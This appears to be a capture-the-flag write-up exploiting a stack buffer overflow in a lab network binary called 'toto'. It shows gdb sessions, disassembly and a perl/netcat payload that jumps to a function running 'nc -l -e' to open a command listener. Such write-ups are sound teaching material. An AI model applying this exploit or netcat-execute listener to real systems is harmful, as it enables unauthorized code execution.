BlaWe downloaded a file called "toto", <syntaxhighlight lang="bash"># file toto toto: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped # strings toto /lib/ld-linux.so.2__gmon_start__libc.so.6_IO_stdin_usedsocketexithtonsperrorforklistenstrlenbindreadmemcpystrcatbzerosystematoicloseaccept__libc_start_mainwritesnprintfGLIBC_2.0PTRh@[^_]ERROR writing to socketnc -l -e /tmp/showpass.sh -p ERROR opening socketERROR on bindingERROR on acceptError on forkAdieu l'ami, dis-voir c'que c'est ton mot de passe: De dieu, tu t'en souviens pas? C'est balot! # ./toto 1234</syntaxhighlight> On a client, we get:<syntaxhighlight lang="bash">> nc 172.16.199.131 1234Adieu l'ami, dis-voir c'que c'est ton mot de passe: blablaDe dieu, tu t'en souviens pas? C'est balot!</syntaxhighlight> It's an exploitation, so on the server, we debug the program (it forks, to we follow the child):<syntaxhighlight lang="bash"># gdb -q ./toto (gdb) set follow-fork-mode child(gdb) set disassembly-flavor intel(gdb) r 1234Starting program: /root/toto 1234</syntaxhighlight> On the client, let's do:<syntaxhighlight lang="bash">> echo `perl -e 'print "A"x24 '`| nc 172.16.199.131 1234Adieu l'ami, dis-voir c'que c'est ton mot de passe:</syntaxhighlight>And the server segfaults:<syntaxhighlight lang="bash">Program received signal SIGSEGV, Segmentation fault.[Switching to process 1962]0x41414141 in ?? ()</syntaxhighlight>The backtrace is definitely screwed, <syntaxhighlight lang="bash">(gdb) bt#0 0x41414141 in ?? ()#1 0x0000000a in ?? ()#2 0x00000006 in ?? ()#3 0xbfa7476c in ?? ()#4 0xb7f73ff4 in ?? () from /lib/ld-linux.so.2#5 0xb7f57b0c in ?? ()#6 0x00000001 in ?? ()#7 0xbfa746b4 in ?? ()#8 0xf3b80002 in ?? ()#9 0x01c710ac in ?? ()#10 0x00000000 in ?? ()</syntaxhighlight> so we just have a quick look: <syntaxhighlight lang="asm"> 0804888c <checkPass>: 804888c: 55 push ebp 804888d: 89 e5 mov ebp,esp 804888f: 83 ec 28 sub esp,0x28 8048892: c7 44 24 08 20 00 00 mov DWORD PTR [esp+0x8],0x20 8048899: 00 804889a: 8d 45 f0 lea eax,[ebp-0x10] 804889d: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 80488a1: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80488a4: 89 04 24 mov DWORD PTR [esp],eax 80488a7: e8 48 fd ff ff call 80485f4 <read@plt> 80488ac: c9 leave 80488ad: c3 ret </syntaxhighlight> We shipped 24 bytes, so we wrote the return address. Let break on the ret of checkPass: <syntaxhighlight lang="asm">(gdb) b *0x80488adBreakpoint 1 at 0x80488ad(gdb) cBreakpoint 1, 0x080488ad in checkPass ()Current language: auto; currently asm(gdb) x /16wx $esp0xbfe019ac: 0x41414141 0x0000000a 0x00000007 0xbfe01afc0xbfe019bc: 0xb7f02ff4 0xb7ee6b0c 0x00000001 0xbfe01a440xbfe019cc: 0xb5df0002 0x01c710ac 0x00000000 0x000000000xbfe019dc: 0xd4040002 0x00000000 0x00000000 0x00000000</syntaxhighlight>So we rewrote with 0x41414141. What to put here ?By having a very quick look at the binary, there is an interesting function called pwnthis: <syntaxhighlight lang="asm">(gdb) disassemble pwnthis Dump of assembler code for function pwnthis:0x080487ef <pwnthis+0>: push ebp0x080487f0 <pwnthis+1>: mov ebp,esp0x080487f2 <pwnthis+3>: push ebx0x080487f3 <pwnthis+4>: sub esp,0x1240x080487f9 <pwnthis+10>: mov eax,DWORD PTR [ebp+0x8]0x080487fc <pwnthis+13>: mov DWORD PTR [esp+0xc],eax0x08048800 <pwnthis+17>: mov DWORD PTR [esp+0x8],0x8048b180x08048808 <pwnthis+25>: mov DWORD PTR [esp+0x4],0x50x08048810 <pwnthis+33>: lea eax,[ebp-0x9]0x08048813 <pwnthis+36>: mov DWORD PTR [esp],eax0x08048816 <pwnthis+39>: call 0x80486b4 <snprintf@plt>0x0804881b <pwnthis+44>: mov DWORD PTR [esp+0x4],0x1000x08048823 <pwnthis+52>: lea eax,[ebp-0x109]0x08048829 <pwnthis+58>: mov DWORD PTR [esp],eax0x0804882c <pwnthis+61>: call 0x80486a4 <bzero@plt>0x08048831 <pwnthis+66>: mov DWORD PTR [esp+0x8],0x1e0x08048839 <pwnthis+74>: mov DWORD PTR [esp+0x4],0x8048b1b0x08048841 <pwnthis+82>: lea ebx,[ebp-0x109]0x08048847 <pwnthis+88>: lea eax,[ebp-0x109]0x0804884d <pwnthis+94>: mov DWORD PTR [esp],eax0x08048850 <pwnthis+97>: call 0x8048644 <strlen@plt>0x08048855 <pwnthis+102>: lea eax,[ebx+eax*1]0x08048858 <pwnthis+105>: mov DWORD PTR [esp],eax0x0804885b <pwnthis+108>: call 0x8048634 <memcpy@plt>0x08048860 <pwnthis+113>: lea eax,[ebp-0x9]0x08048863 <pwnthis+116>: mov DWORD PTR [esp+0x4],eax0x08048867 <pwnthis+120>: lea eax,[ebp-0x109]0x0804886d <pwnthis+126>: mov DWORD PTR [esp],eax0x08048870 <pwnthis+129>: call 0x8048684 <strcat@plt>0x08048875 <pwnthis+134>: lea eax,[ebp-0x109]0x0804887b <pwnthis+140>: mov DWORD PTR [esp],eax0x0804887e <pwnthis+143>: call 0x80485a4 <system@plt>0x08048883 <pwnthis+148>: add esp,0x1240x08048889 <pwnthis+154>: pop ebx0x0804888a <pwnthis+155>: pop ebp0x0804888b <pwnthis+156>: ret </syntaxhighlight> So we are going to write the address to return there and break before the system to see the content: <syntaxhighlight lang="bash">> echo `perl -e 'print "A"x20 . "\xef\x87\x04\x08" , "AAAA" . "CCCC" '`| nc 172.16.199.131 1234Adieu l'ami, dis-voir c'que c'est ton mot de passe: </syntaxhighlight>And on the server side:<syntaxhighlight lang="bash">Breakpoint 2, 0x0804887e in pwnthis ()(gdb) x /wx $esp0xbf9e3c64: 0xbf9e3c83(gdb) x /s 0xbf9e3c830xbf9e3c83: "nc -l -e /tmp/showpass.sh -p 1128</syntaxhighlight>Amazing, it's gonna open a local port on 1128. You can modify the port, since it's part of the buffer you write So now, we just need to connect to the remote port to execute the showpass.sh. The server was dead, validation was not possible.<syntaxhighlight lang="bash">> nc 172.16.199.131 1128</syntaxhighlight>